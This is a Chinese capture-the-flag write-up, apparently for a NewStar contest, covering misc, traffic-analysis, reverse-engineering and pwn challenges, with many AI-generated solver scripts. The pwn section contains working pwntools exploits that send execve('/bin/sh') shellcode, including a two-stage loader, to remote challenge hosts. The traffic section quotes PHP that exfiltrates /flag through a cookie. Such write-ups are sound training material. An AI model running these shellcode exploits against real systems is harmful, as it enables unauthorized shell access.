注意Playback下面的时间是UTC,要-8,也就是15-8=7,把时间拉到7:00,可以看到飞机在武汉市附近的上空。根据现在查询的历史记录和前面获得的信息结合起来,最终的flag是flag{UQ3574_武汉市_Xiaomi}

前有文字,所以搜索很有用
题目描述:欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)
track1
在解密页面勾选文本里对应的选项,获得一段base64,解密获得:flag{you_


track2
brainfuck解密获得密码:brainfuckisgooooood,把咏雪.docx的文字 Ctrl+A全选,复制到一个新建txt里,用snow解密,获得一段莫斯电码:----- …- …— .-. -.-. …- — . ..—.-,解密获得:0V3RC4ME_



track3
用PuzzleSolver进行字频统计,右侧有个看起来像challenges的英文变体,获得:cH@1LenG3s}。最后和前面的进行结合,得到最终flag:flag{you_0V3RC4ME_cH@1LenG3s}

日志分析-不敬者的闯入
题目描述:在抗日战争暨世界反法西斯战争胜利80周年。前夕,城邦的临时工搭建了一个纪念网站,帮助人们恢复记忆。一些不法分子妄图破坏新世界的记忆,企图摧毁网站,幸好临时工及时止损关闭了该网站的服务,才保住了历史的记忆。请挑战者们通过保留的网站日志,帮助临时工找到不敬者的木马威胁,让临时工能保住这份来之不易的工作吧!
附件是一个日志文件,查看里面的记录,可以看见被成功访问了/admin页面,那我们就进去看看 :3

里面有个webshell,点进去就是flag


美妙的音乐
题目描述:小明最近发现了一首好听的曲子,他把曲子发给你并邀请你一起欣赏,可是这个曲子似乎有什么不对劲的地方?
用Audacity打开就能看到flag,显示不是很清楚,试了几次才对 :( 。flag{thi5_1S_m1Di_5tEG0}

OSINT-威胁情报
题目描述:城邦受到了未知APT组织的攻击,目前已解除威胁,但留下了恶意文件的hash值。为了以后的安全,请Newstar们进行调查,帮助城邦们完善威胁情报吧!flag格式:flag{apt组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)};所有字母全部小写
我把这道题的题目描述和附件里的hash值发送给ChatGPT,GPT用了58秒就把flag找出来了,太恐怖了😨😰😱😭🥶



星期四的狂想
题目描述:怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。
筛选http流然后看一下,发现了奇怪的东西

顺着这个流往下看看,发现有段php,把这段php代码发给AI看看

<?php
echo "Hello, world!";
$flag = base64_encode(file_get_contents("/flag"));
$hahahahahaha = '';
foreach (str_split($flag, 10) as $part) {
if (rand(0, 1)) {
$part = strrev($part);
} else {
$part = str_rot13($part);
}
$hahahahahaha .= $part;
}
$GLOBALS['ThURSDAY'] = $hahahahahaha;
function code($x) {
return "Cookie: token=" . base64_encode($x);
}
?>

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
解密被混淆的flag
逻辑:每10个字符的块被随机反转或ROT13,需要爆破所有组合
"""
import base64
import codecs
import itertools
def rot13(s):
"""ROT13编码"""
return codecs.encode(s, 'rot_13')
def reverse(s):
"""反转字符串"""
return s[::-1]
def decrypt_flag(encrypted_token):
"""
解密flag
参数:
encrypted_token: Cookie中的token值(已base64编码的混淆数据)
"""
# 步骤1: base64解码token,得到混淆后的数据
try:
mixed_data = base64.b64decode(encrypted_token).decode('utf-8')
except:
print("[!] Token base64解码失败,尝试直接使用原始数据")
mixed_data = encrypted_token
print(f"[*] 混淆数据: {mixed_data}")
print(f"[*] 混淆数据长度: {len(mixed_data)}")
# 步骤2: 将混淆数据按每10个字符分割
chunks = []
for i in range(0, len(mixed_data), 10):
chunk = mixed_data[i:i + 10]
chunks.append(chunk)
print(f"[*] 分割成 {len(chunks)} 个块:")
for i, chunk in enumerate(chunks):
print(f" 块{i}: '{chunk}' (长度: {len(chunk)})")
# 步骤3: 爆破所有可能的组合
num_chunks = len(chunks)
total_combinations = 2 ** num_chunks
print(f"\n[*] 总共需要尝试 {total_combinations} 种组合\n")
valid_results = []
# 生成所有可能的操作组合 (0=ROT13, 1=反转)
for i, operations in enumerate(itertools.product([0, 1], repeat=num_chunks)):
# 对每个块应用相应的逆操作
decoded_chunks = []
for chunk_idx, op in enumerate(operations):
chunk = chunks[chunk_idx]
if op == 0:
# 原操作是ROT13,逆操作也是ROT13
decoded = rot13(chunk)
else:
# 原操作是反转,逆操作也是反转
decoded = reverse(chunk)
decoded_chunks.append(decoded)
# 拼接所有解密后的块
candidate = ''.join(decoded_chunks)
# 尝试base64解码
try:
flag_candidate = base64.b64decode(candidate).decode('utf-8', errors='ignore')
# 检查是否看起来像flag
if is_valid_flag(flag_candidate):
print(f"[+] 组合 {i:4d} ({operations_to_str(operations)}): {flag_candidate}")
valid_results.append((operations, flag_candidate))
except:
pass
# 每1000次显示进度
if (i + 1) % 1000 == 0:
print(f"[*] 进度: {i + 1}/{total_combinations} ({(i + 1) * 100 / total_combinations:.1f}%)")
# 显示结果
print(f"\n{'=' * 80}")
if valid_results:
print(f"[+] 找到 {len(valid_results)} 个可能的flag:\n")
for ops, flag in valid_results:
print(f" 操作序列: {operations_to_str(ops)}")
print(f" Flag: {flag}\n")
else:
print("[!] 未找到有效的flag")
print("[*] 可能的原因:")
print(" 1. Token值不正确")
print(" 2. 数据被额外编码")
print(" 3. 分块大小不是10字符")
def operations_to_str(ops):
"""将操作序列转换为可读字符串"""
return ''.join(['R' if op == 0 else 'V' for op in ops])
def is_valid_flag(s):
"""检查字符串是否看起来像有效的flag"""
# 检查常见的flag格式
flag_patterns = [
'flag{', 'FLAG{', 'ctf{', 'CTF{',
'flag[', 'FLAG[',
'flag_', 'FLAG_'
]
for pattern in flag_patterns:
if pattern in s:
return True
# 检查是否包含可打印字符
if len(s) > 10 and s.isprintable():
# 如果大部分是可打印字符,也认为可能是有效的
printable_ratio = sum(c.isprintable() for c in s) / len(s)
if printable_ratio > 0.8:
return True
return False
def main():
print("""
╔══════════════════════════════════════════════════════════╗
║ Flag 解密工具 - 流量分析题 ║
╚══════════════════════════════════════════════════════════╝
""")
print("\n请提供加密的token值(从Cookie中提取):")
print("格式: Cookie: token=xxxxxx")
print("或直接输入混淆后的base64数据\n")
# 示例用法
token = input("请输入token值(按Enter使用测试数据): ").strip()
if not token:
print("\n[*] 使用测试数据...")
# 这里是示例,实际需要从流量包中提取
token = "VGVzdERhdGE=" # 替换为实际的token
# 如果是完整的Cookie格式,提取token值
if 'token=' in token:
token = token.split('token=')[1].split(';')[0].strip()
print(f"\n[*] 使用token: {token}\n")
decrypt_flag(token)
print("\n" + "=" * 80)
print("[*] 提示:")
print(" R = ROT13")
print(" V = 反转(reVerse)")
print(" 例如: RRVR 表示 [ROT13, ROT13, 反转, ROT13]")
if __name__ == "__main__":
main()
运行之后需要我们手动填写token值,找了一下,这个值就在下一个流里,把token值复制进AI写的脚本,脚本就会开始爆破,等爆破结束后,在结果里寻找一下,就能找到正确的flag



MISC城邦-NewKeyboard
题目描述:欢迎挑战者们来到第二周的Misc考核,本关由手持keyboard的侍卫看守能量核心,请挑战者们通过分析侍卫发出的流量获取最终的flag吧!
做这题用了AI辅助。附件拿到两个pcapng文件,第二个文件名 abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng 很明显是一个字符序列,推测这是一个自定义USB键盘协议的映射参考文件
使用tshark工具提取数据包中的usbhid.data字段。
# 提取参考文件的USB HID数据
tshark -r "abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng" -T fields -e usbhid.data > ref_data.txt
# 提取主文件的USB HID数据
tshark -r "newkeyboard.pcapng" -T fields -e usbhid.data > key_data.txt
命令说明:
-r: 读取pcapng文件-T fields: 以字段格式输出-e usbhid.data: 提取USB HID数据字段>: 将输出重定向到文本文件
查看提取出的数据:
01001000000000000000000000000000000000000000 ← 按键按下
01000000000000000000000000000000000000000000 ← 按键释放
01002000000000000000000000000000000000000000 ← 按键按下
01000000000000000000000000000000000000000000 ← 按键释放
关键发现:
- 数据长度: 每条数据44个字符(22字节的十六进制表示)
- 按键事件: 每个按键对应两条数据
- 按下事件:非零数据
- 释放事件:
01000000000000000000000000000000000000000000
- Shift键: 前缀为
0102表示同时按下Shift键01020000...表示Shift按下- 后面跟随的实际按键产生大写字母或特殊符号
建立映射表
reference_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}"
# 示例映射(部分)
01001000... → 'a'
01002000... → 'b'
01004000... → 'c'
...
01020000000000200000... → '_' (Shift + -)
01020000004000000000... → '!' (Shift + 1)
01020000000000800000... → '{' (Shift + [)
01020000000000000100... → '}' (Shift + ])
编写完整脚本:
#!/usr/bin/env python3
# USB键盘流量分析脚本
# 参考文件的字符序列
reference_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}"
# 读取参考数据
ref_data = []
with open(r'C:\Users\lenovo\Desktop\ref_data.txt', 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line:
if '|' in line:
line = line.split('|', 1)[1]
ref_data.append(line)
# 读取实际键盘数据
key_data = []
with open(r'C:\Users\lenovo\Desktop\key_data.txt', 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line:
if '|' in line:
line = line.split('|', 1)[1]
key_data.append(line)
print(f"参考数据条数: {len(ref_data)}")
print(f"键盘数据条数: {len(key_data)}")
# 建立映射字典
release_key = "01000000000000000000000000000000000000000000"
shift_prefix = "01020000000000000000000000000000000000000000"
key_map = {}
char_idx = 0
i = 0
while i < len(ref_data) and char_idx < len(reference_chars):
key_code = ref_data[i]
if key_code != release_key:
# 检查是否是shift组合
if key_code == shift_prefix:
# 下一个应该是实际的按键
if i + 1 < len(ref_data):
actual_key = ref_data[i + 1]
key_map[actual_key] = reference_chars[char_idx]
char_idx += 1
i += 3 # shift, key, release
continue
else:
# 普通按键
key_map[key_code] = reference_chars[char_idx]
char_idx += 1
i += 2 # key, release
continue
i += 1
print(f"\n映射表大小: {len(key_map)}")
# 解码实际数据 - 忽略修饰键状态,只看实际字符
decoded = []
prev_key = None
for i, key_code in enumerate(key_data):
if key_code == release_key:
prev_key = None
continue
# 跳过单独的shift键
if key_code == shift_prefix:
prev_key = key_code
continue
# 如果前一个是shift,当前是实际按键
if prev_key == shift_prefix:
if key_code in key_map:
decoded.append(key_map[key_code])
prev_key = None
continue
# 普通按键
if key_code in key_map:
decoded.append(key_map[key_code])
prev_key = key_code
result = ''.join(decoded)
print(f"\n解码结果:")
print(result)
print(f"\n===== FLAG =====")
print(result)
print("================")

Reverse
X0r
题目描述:no xor,no encrypt.
str2 = "anu`ym7wKLl$P]v3q%D]lHpi"
k1 = [0x14, 0x11, 0x45]
k2 = [19, 19, 81] # decimal as in the binary; equals [0x13, 0x13, 0x51]
def recover_original(str2, k1, k2):
if len(str2) != 24:
raise ValueError("Expected length 24 for str2")
orig_bytes = bytearray()
for i, ch in enumerate(str2):
b = ord(ch) ^ k1[i % 3] ^ k2[i % 3]
orig_bytes.append(b & 0xFF)
return bytes(orig_bytes)
orig = recover_original(str2, k1, k2)
print("REPR: ", repr(orig))
try:
print("UTF-8: ", orig.decode('utf-8'))
except Exception:
print("UTF-8: (not valid utf-8)")
print("HEX: ", orig.hex())

Strange Base
题目描述:奇怪?这base64为什么不能一把梭了?
用IDA打开,一个自定义base64编码的校验程序

进base64_encode看看

把自定义的表提取出来:HElLo!A=CrQzy-B4S3|is’waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF

#!/usr/bin/env python3
# test.py -- decode custom base64 using the table you provided
# Usage: python test.py
enc = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="
table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
def decode_custom_b64(enc: str, table: str) -> bytes:
if len(table) != 64:
raise ValueError(f"base64 table length is {len(table)} (expected 64).")
rev = {c: i for i, c in enumerate(table)}
out = bytearray()
# process in 4-char blocks
for i in range(0, len(enc), 4):
chunk = enc[i:i+4].ljust(4, '=')
vals = []
for ch in chunk:
if ch == '=':
vals.append(0)
else:
if ch not in rev:
raise ValueError(f"Character {ch!r} not found in custom table.")
vals.append(rev[ch])
# reconstruct bytes
b0 = (vals[0] << 2) | (vals[1] >> 4)
out.append(b0 & 0xFF)
if chunk[2] != '=':
b1 = ((vals[1] & 0xF) << 4) | (vals[2] >> 2)
out.append(b1 & 0xFF)
if chunk[3] != '=':
b2 = ((vals[2] & 0x3) << 6) | vals[3]
out.append(b2 & 0xFF)
return bytes(out)
def printable_view(b: bytes) -> str:
return ''.join(chr(x) if 32 <= x < 127 else '.' for x in b)
if __name__ == "__main__":
try:
decoded = decode_custom_b64(enc, table)
except Exception as e:
print("Error:", e)
raise SystemExit(1)
print("ENC: ", enc)
print("TABLE: ", table)
print("LENGTH: ", len(table))
print()
print("HEX: ", decoded.hex())
print("REPR: ", repr(decoded))
try:
print("UTF-8: ", decoded.decode('utf-8'))
except Exception:
print("UTF-8: (not valid utf-8)")
print("Printable:", printable_view(decoded))

Puzzle
题目描述:咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?
part1
Puzzle_Challenge函数获得:Do_Y0u_

part2
Like_7h1s_Jig这个函数就是flag的part2

part3
双击encrypted_array,按U,选中需要解密的数据,shift+e提取


问GPT要一个解密异或的脚本🤗,获得:s@w_puzz
encrypted = [0xDE, 0xED, 0xDA, 0xF2, 0xDD, 0xD8, 0xD7, 0xD7]
key = 0xAD
result = ""
for byte in encrypted:
decrypted = byte ^ key
result += chr(decrypted)
print(f"0x{byte:02X} ^ 0xAD = 0x{decrypted:02X} = '{chr(decrypted)}'")
print(f"\n解密结果: {result}")
part4

结合一下获得最终flag:flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}
plzdebugme
题目描述:动态调试是学习逆向必不可少的一部分:)
提示我在x0r打断点

用gdb开始动态调试,打个断点

查看当前密文内容,查看反汇编代码,找到 XOR 的密钥

把汇编代码复制给AI


Forgotten_Code
题目描述:在清理一台古老服务器的硬盘时,我们发现了这个来自旧时代的编程遗迹。当时的开发者喜欢与机器直接对话。我们很难直接解读它,但也许你能重新整理这份文件,让你手上的工具再次发挥作用……
把代码交给AI,让AI给出解密脚本

#!/usr/bin/env python3
import struct
# ng 数组初始值(ASCII字符串)
ng_initial = b"sp\x7fvuctp|xeb|hv~\x00"
# 创建两个密钥版本
ng_original = bytearray(ng_initial)
ng_xored = bytearray(ng_initial)
# 对 ng_xored 每个字节异或 17
for i in range(16):
ng_xored[i] ^= 17
print("原始 ng 数组:", ng_original[:16])
print("异或后的 ng 数组 (密钥):", ng_xored[:16])
# 将两个版本都转换为密钥
key_original = list(struct.unpack('<4I', ng_original[:16]))
key_xored = list(struct.unpack('<4I', ng_xored[:16]))
print(f"\n原始密钥: {[hex(k) for k in key_original]}")
print(f"异或后密钥: {[hex(k) for k in key_xored]}")
# ezgm 数组(加密后的期望值)
ezgm = [
1210405119, # 0x482550ff
710975774, # 0x2a60a11e
-90350153, # 0xfa9d5db7
-1958008304, # 0x8b4b2a10
-745722482, # 0xd38d2d8e
67707510, # 0x4092276
-86515270, # 0xfad7e1ba
-1728462407 # 0x98f9c1b9
]
# 转换为无符号 32 位整数
ezgm = [x & 0xFFFFFFFF for x in ezgm]
print(f"\nezgm 数组: {[hex(x) for x in ezgm]}")
def tea_decrypt(v, key):
"""TEA 解密算法
v: 2个32位整数的列表 [v0, v1]
key: 4个32位整数的列表
"""
v0, v1 = v[0], v[1]
delta = 0x9e3779b9
sum_val = (delta * 32) & 0xFFFFFFFF # 32轮后的 sum 值
for _ in range(32):
v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + sum_val) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + sum_val) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
return [v0, v1]
# 解密每一对 32 位整数
# 注意:fn 函数每次调用都会将 ng 异或 17
# 所以第1,3次调用使用异或后的密钥,第2,4次使用原始密钥
flag_content = b""
for i in range(0, 8, 2):
block_num = i // 2
# 奇数块(0,2)使用异或后的密钥,偶数块(1,3)使用原始密钥
if block_num % 2 == 0:
current_key = key_xored
key_name = "异或后"
else:
current_key = key_original
key_name = "原始"
encrypted = [ezgm[i], ezgm[i + 1]]
print(f"\n解密块 {block_num} (使用{key_name}密钥): {[hex(x) for x in encrypted]}")
decrypted = tea_decrypt(encrypted, current_key)
print(f"解密结果: {[hex(x) for x in decrypted]}")
# 转换为字节(小端序)
block = struct.pack('<2I', decrypted[0], decrypted[1])
print(f"字节: {block}")
flag_content += block
print("\n" + "=" * 50)
print(f"完整 flag: flag{{{flag_content.decode('ascii')}}}")
print("=" * 50)

EzMyDroid
题目描述:普普通通的安卓逆向,请准备好Jadx
AI秒了

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# 密钥和密文
key = "1145141919810000".encode('utf-8')
encrypted_base64 = "cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE="
# Base64 解码
encrypted_data = base64.b64decode(encrypted_base64)
# AES ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(encrypted_data)
# 去除填充
try:
decrypted_text = unpad(decrypted_data, AES.block_size).decode('utf-8')
print(f"Flag: {decrypted_text}")
except Exception as e:
print(f"解密失败: {e}")
print(f"原始解密数据: {decrypted_data}")

Pwn
pwn’s door
题目描述:Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。
用IDA打开附件,有一个登录程序,密码直接写出来了:7038329

用nc连接,输入密码后,直接查看flag

INTbug
题目描述:整数好像有些奇怪的秘密
把主函数的伪代码给gpt,gpt写了个脚本秒了
from pwn import *
p = remote('47.94.87.199', 28807)
# 发送32768次正整数输入来触发整数溢出
for i in range(32768):
p.sendline(b'1') # 发送数字1
print(f"已发送 {i+1}/32768 次输入")
# 等待程序输出flag
print("等待获取flag...")
p.interactive()

GNU Debugger
题目描述:进入pwn的世界之后的第一关,了解你的好伙伴gdb
第一关:跟着向导走,用命令:info register 12查看r12寄存器的16进制值,按c之后把16进制值复制过去

第二关:用x/s 0x555555557c27查看,然后提交

第三关:用break 0x555555555779打个断点

第四关:先用x/x 0x7fffffffdc64命令查看一下当前的值,然后用set {int}0x7fffffffdc64 = 0xdeadbeef命令修改0x7fffffffdc64的值,修改完成后可以用x/x 0x7fffffffdc64检查一下,没问题后按c就能获得flag

input_function
题目描述:什么?要输入一个函数?
把main伪代码给GPT,秒了
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# simple RWX mmap -> write shellcode -> execute PoC
# Usage:
# python3 exploit.py local
# python3 exploit.py remote <host> <port>
from pwn import *
import sys
context.update(arch='amd64', os='linux')
BINARY = './target' # <- 修改为你的本地二进制路径(如果需要)
# x86_64 execve("/bin/sh", NULL, NULL) - compact, no nulls in the payload
shellcode = asm(
shellcraft.sh()
)
# If you prefer raw bytes version instead of asm(shellcraft.sh()):
# shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
def run_local():
p = process(BINARY)
# program prints prompt "please input a function(after compile)"
# receive any banner until prompt (non-blocking safe)
try:
print(p.recvuntil(b"please input a function(after compile)\n", timeout=1).decode())
except EOFError:
pass
# send shellcode; read(0,buf,0x500) will read up to 0x500 bytes
p.send(shellcode)
# keep interaction
p.interactive()
def run_remote(host, port):
p = remote(host, int(port))
try:
print(p.recvuntil(b"please input a function(after compile)\n", timeout=2).decode())
except:
pass
p.send(shellcode)
p.interactive()
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: exploit.py local | remote <host> <port>")
sys.exit(1)
mode = sys.argv[1]
if mode == "local":
run_local()
elif mode == "remote":
if len(sys.argv) != 4:
print("Usage: exploit.py remote <host> <port>")
sys.exit(1)
run_remote(sys.argv[2], sys.argv[3])
else:
print("Unknown mode")

刻在栈里的秘密
欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX...),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?


input_small_function
题目描述:密码的为什么能输入的字符这么少
把main、init和clear函数的伪代码给AI,AI给出可用脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# 连接设置
if args.REMOTE:
p = remote('8.147.132.32', 39949)
else:
p = process('./input_small_function') # 替换为实际文件名
# ========== 第一段shellcode: read更多数据 ==========
# read(0, 0x114514+20, 0x100)
# 这段shellcode会读取第二段shellcode
shellcode_stage1 = asm('''
/* read(0, 0x114514+0x14, 0x100) */
xor rdi, rdi /* fd = 0 (stdin) */
mov rsi, 0x114528 /* buf = 0x114514 + 0x14 */
xor rdx, rdx
mov dx, 0x100 /* count = 0x100 */
xor rax, rax /* syscall number = 0 (read) */
syscall
/* 跳转到读入的shellcode */
jmp rsi
''')
print(f"[*] Stage1 shellcode length: {len(shellcode_stage1)} bytes")
assert len(shellcode_stage1) <= 0x14, f"Stage1 too long! ({len(shellcode_stage1)} > 20)"
# ========== 第二段shellcode: execve('/bin/sh') ==========
shellcode_stage2 = asm(shellcraft.sh())
print(f"[*] Stage2 shellcode length: {len(shellcode_stage2)} bytes")
# ========== 发送payload ==========
p.recvuntil(b'please input a small function (also after compile)\n')
# 发送第一段(20字节限制)
p.send(shellcode_stage1.ljust(0x14, b'\x90')) # 填充到20字节
# 发送第二段(getshell)
sleep(0.1)
p.send(shellcode_stage2)
# ========== 交互 ==========
p.interactive()

